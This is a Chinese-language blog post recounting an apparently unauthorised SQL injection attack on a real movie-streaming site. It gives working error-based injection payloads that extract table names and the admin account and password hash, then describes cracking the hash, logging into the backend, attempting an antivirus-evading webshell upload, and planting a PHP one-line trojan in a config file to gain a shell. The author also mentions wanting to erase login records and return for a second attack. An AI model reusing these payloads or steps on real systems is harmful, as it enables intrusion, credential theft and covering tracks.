您現在的位置是:首頁 > 棋牌
記一次SQL注入的收穫
- 由 合天網安實驗室 發表于 棋牌
- 2022-12-06
an怎麼閉合路徑
一、發現漏洞
1。1。 發現
這是一篇兩年前的筆記了。之前平常喜歡看些電影影片,不想充值
VIP,才發現的網站,但是這個網站A並不是主要測試的,而是透過發現他的兄弟網站B,然後進行滲透。
1。2。 測試
有事沒事對網站動一動,發現
A存在XSS,但是並沒有多大的利用價值,但是透過友情連結,跳轉到了B,就覺得B可能也在同個位置存在XSS但是,令人驚訝的是,我沒發現XSS,但是確發現存在SQLI。加了個
’,直接把sql語句爆出來了,如下圖1。
圖
1
二、漏洞利用
2。1
閉合規則
原始的語句:
SELECT `y80s_movies`。*, `y80s_photos`。`path` AS photo_path, `y80s_photos`。`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`。`id` = `y80s_movies`。`photo_id`
WHERE `y80s_movies`。`public` = ‘1’
AND `y80s_movies`。`attribute` NOT LIKE ‘%%1%%’
AND (name like ‘%
XXX
%’ or aka like ‘%
XXX
%’)
ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。`id` DESC
LIMIT 25
原始報文:
HTTP/1。1 500 Internal Server Error
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount
Server: nginx
Date: Thu, 29 Oct 2020 01:36:40 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5。6。38
X-Cache: MISS from aws-jp08
X-Cache: MISS from asia-hk11
Connection: close
Content-Length: 882
Array
(
[0] => Error Number: 1064
[1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’ or aka like ‘%xxx%’)
ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。‘ at line 6
[2] => SELECT `y80s_movies`。*, `y80s_photos`。`path` AS photo_path, `y80s_photos`。`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`。`id` = `y80s_movies`。`photo_id`
WHERE `y80s_movies`。`public` = ’1‘
AND `y80s_movies`。`attribute` NOT LIKE ’%%1%%‘
AND (name like ’%
XXX
%‘ or aka like ’%
XXX
‘%’)
ORDER BY `y80s_movies`。`update` DESC, `y80s_movies`。`id` DESC
LIMIT 25
[3] => Filename: /home/wwwroot/XXXX/libraries/datamapper。php
[4] => Line Number: 1410
)
hi
XXX為輸入的位置,同上可以看出,會同時在兩處插入,但其實只需要管一處即可,後面可以註釋掉。
當時在考慮,怎麼閉合這個規則,怎麼執行自己想執行的語句。但是可能被這麼長的語句嚇到了,不知道從何下手。也可能是因為自己資料庫基礎不紮實。其實仔細分析,都是可以化繁為簡的。這語句也就是
select 欄位 from 表名 (一個左外連線) where XXX and XXX and XXX order by XXX。以上是我想的,看看老王想的:這個構造看清大邏輯,select xxx from ta left outer join tb on ta。a=tb。b where con1=xxxxx and con2=xxxx oder by a。a,b。b limit 25,然後得出:注入是在where那裡。你學廢了嗎?
【——幫助網安學習,以下所有學習資料關注我,私信回覆“資料”獲取——】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
2。2 爆資料
這步應該是最多的,一開始自己找不到閉合規則,經常會報錯,而且還是亂碼,如下圖
2:
圖
2
一開始猜測是回顯了資料表,所以導致了亂碼,但是並不是,應該只是伺服器的問題。這伺服器本來就不太穩定,換下查詢資料,重新整理頁面,多試幾次就好了。然後思路就想著,構造一個判斷語句,透過是與否來判斷資料庫的資訊,然後有了以下的兩個
payload
:
1
、
%e4%ba%ba‘) and 1=1 or (
‘
1
’
=
’
1
2
、
%e4%ba%ba’) and exists(select path from y80s_photos) or (‘1’=‘1
但是這
payload
真的是太傻了,好在報錯資訊有提供表名和
mysql
預設表
dual
,不然都沒法判斷是否構造完成。接下來是內容由老王指導完成。
透過
union
或者
updatexml
進行查詢,內容有回顯,一開始我並不知道的,後面透過百度查詢到了
updatexml
用法,於是自己構造了個:
1、
%e7%88%b1’) and updatexml(1,concat(‘~’,(select database()),‘~’),3)——+
獲取了資料名
80s
,如下圖
3
:
圖
3
既然可以回顯,那緊接著,就是查詢所有的表名。
筆記:
查詢資料庫中所有表名
select table_name from information_schema。tables where table_schema=‘資料庫名’ and table_type=‘base table’;
select table_name from information_schema。tables where table_schema=‘資料庫名’
查詢指定資料庫中指定表的所有欄位名
column_name
select column_name from information_schema。columns where table_schema=‘資料庫名’ and table_name=‘表名’
於是構造了
payload
:
%e7%88%b1‘) and updatexml(1,concat(’~‘,(select table_name from information_schema。tables where table_schema=’80s‘
limit 0,1
),’~‘),3)——+
其實
limit
是後面加的,伺服器返回:
Subquery returns more than 1 row
,但是這邊只能顯示一條,所以一開始思路是使用
limit
一條一條去查出來,如下圖
4
、圖
5
:
圖
4
圖
5
利用
burp-Intruder
爆破出資料庫,但是,這樣太慢了。
老王提供了個函式
group_concat()
,
group_concat()
類似一個聚集函式,把所有內容拼接成字串,預設用逗號隔開。於是我的
payload
就變成:
%e6%98%9f’) and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema。tables where table_schema=‘80s’),‘~’),3)——+
但是,人算不如天算,他回顯內容有限制長度的,如下圖
6
:
圖
6
看
Y80
應該可以明顯感覺斷了,及時看不出來,也不應該就這幾個表吧!這時候想到,我們豈不是可以透過
limit
限制內容,把已經看到了的不輸出,我真是天才,然後我構造了
payload
:
%e6%98%9f‘) and updatexml(1,concat(’~‘,(select group_concat(table_name) from information_schema。tables where table_schema=’80s‘ limit 6,2),’~‘),3)——+
發現頁面居然正常跳轉了,沒有報錯,我人傻了,估計是
sql
語句又哪裡有問題了吧!後面看了老王的,他構造的是:
123333’) and updatexml(1,concat(0x7e,(select group_concat(x。movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)——+
select group_concat(x。movie_id) from x
,從
x
表查詢
movieid
,然後聚整合一行,
x
表是個別名,
x = seelect movie_id from hits limit 3,3
,從
hits
查
movieid
,從記錄
3
往後查
3
條,結果是個一列三行的資料臨時表,然後前面配合聚集,把這三行連線,這樣就不用
limit a,1
這種,每次限制一行記錄,這個可以
limit a,5
這樣,一次查五條。搜嘎!
由於我只是想登入後臺,嘗試找出管理員的表即可,我就還是一個一個試,最終找到管理員表
y80s_managers
,然後根據
payload
:
%e6%98%9f‘) and updatexml(1,concat(’~‘,(select group_concat(column_name) from information_schema。columns where table_schema=’80s‘ and table_name=’y80s_managers‘),’~‘),3)——+
查詢出欄位名
id,name,password,right_id,lock
等,如下圖
7
:
圖
7
但是我們主要還是賬號名密碼,所以繼續!構造
payload
:
%e5%a6%bb’) and updatexml(1,concat(‘~’,(select group_concat(name) from y80s_managers),‘~’),3)——+
如下圖
8
:
圖
8
可以看到,只有一個賬戶,
name
為
me****zz
,再查詢密碼,如下圖
9
:
圖
9
忘記這個是有限制欄位的,也沒注意看是否是以
~
結尾,然後拿去
md5
解密,發現解不開,數了一下,
31
位的
md5
?這時候才發現,後面還有。於是使用
substr
函式,去擷取後面的欄位,回顯!
Payload
:
%e6%96%b0‘) and updatexml(1,concat(’~‘,(select substr(password,31) from y80s_managers),’~‘),3)——+
Substr(str,pos,len),pos
開始的位置,
len
為長度,
str
字串,
len
沒輸入的時候預設是
pos
開始擷取到最後的位置。於是有了以下圖
10
:
圖
10
果然掉了一位,最後得到
md5
:
9356*************63c
三、解密賬號密碼
3。1成功登入
Md5
解開後得到賬號名密碼:
Me****zz
,
935********63c(pj*****@)
然後使用
dirsearch
,搜尋出後臺(其實我是先找到後臺才想著去注入的),成功登入,如下圖
11
:
圖
11
原本想刪除登入記錄的,但是發現這後臺功能有點簡陋,好像沒有發現有登入記錄之類的,就沒先下了,後續再二次進攻!
3。2 收穫其他資訊
以下是收集到的其他資訊:
database
:
80s
mysql5。6。44
table:hits,y80s_ads,y80s_articles,y80s_bigphotos,y80s_caijis,y80s_cast_infos,y80s_casts,y80s_casts_movies,y80s_directors_movies,y80s_directors,
y80s_dlurls,y80s_dlurls_movies,y80s_doubans,y80s_duoshuo_comments
,
y80s_forhotmovies
,
y80s_hits
,
y80s_hotwords
,
y80s_infos
,
y80s_managers
,
y80s_moviedesc_ups
y80s_ads:
id title name content
y80s_managers
:
id,name,password,right_id,lock
四、尋找上傳點
發現該網站存在設定影片的圖片,直接上免殺馬。免殺馬是
github上大佬寫的生成工具,已測試過是可以過360和D盾的。連結:
https://github。com/pureqh/Troy
伺服器直接報錯。多番嘗試發現無法上傳馬。還發現了資料庫備份,但是貌似無法修改資料庫副檔名。
五、柳暗花明又一村
在檢視網站功能的時候,我又發現了另一個好東西:
配置檔案編輯。直接把一句話木馬寫到配置檔案裡面。透過寫入
<?php phpinfo();?>
後,發現在每個頁面初始化的時候,都會去呼叫該配置檔案。直接
getshell
。
六、小結
閉合規則是花費時間最長的,還有後面要利用的時候,構造
payload也是我花費時間最多的,基本都是百度上查,很多都不懂,兩個的根本原因還是因為對sql注入,乃至資料庫的基礎都不是很懂,很多函式,都不知道,不知道有功能有什麼函式,在利用的時候就難以下手,耗費大量時間。其次還可透過mysql直接寫入shell的,這個也是後面才知道的,不過寫入shell的前提條件較為苛刻。